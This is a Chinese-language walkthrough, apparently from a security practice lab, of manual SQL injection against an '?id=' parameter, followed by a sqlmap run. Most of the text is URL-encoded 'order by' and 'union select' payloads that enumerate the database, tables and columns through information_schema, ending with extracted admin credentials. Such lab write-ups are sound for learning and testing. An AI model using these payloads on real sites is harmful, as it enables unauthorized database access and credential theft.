手动:
一、对数据库进行判断
进入页面,点击查看新闻(出现 ?id=1) 说明为传参页面
?id=1
构造 1=1 页面正常显示
?id=1%20and%201=1
构造1=2 页面报错,说明存在漏洞
?id=1%20and%201=2
利用 (order by) 查询列
?id=1%20and%201=1%20order%20by%201
?id=1%20and%201=1%20order%20by%202
?id=1%20and%201=1%20order%20by%203
由1-3,发现2有,3没有——说明数据表只有两个字段
至此判断:四行两列
之后判断回显点
通常用联合查询 (union select)
?id=1%20and%201=2%20union%20select%201,2
二、查询相关内容
1、查询当前数据库名称:?id=1%20and%201=2%20union%20select%201,database()
_maoshe
2、查询表名:?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1
_admin
3、查询字段内容:
?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27admin%27%20limit%200,3
_Id
?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27admin%27%20limit%201,3
_username
?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27admin%27%20limit%202,3
_password
4、查询确切数据
id:1
username:admin
password:hellohack
Sqlmap
python sqlmap.py -u http://cntj8003.ia.aqlab.cn/?id=1 --delay 1
对其进行盲注发现有一个Time盲注、一个Boolean盲注
之后就对其数据库进行扫描
发现有三个数据库
由于手动注入的缘故,这里就直接扫描maoshe了
发现四张表——且有一张带有关键字"admin"
我们首先扫描这张表
看到三个字段,即:id,password,username
再通过查询就可以得到想要的数据了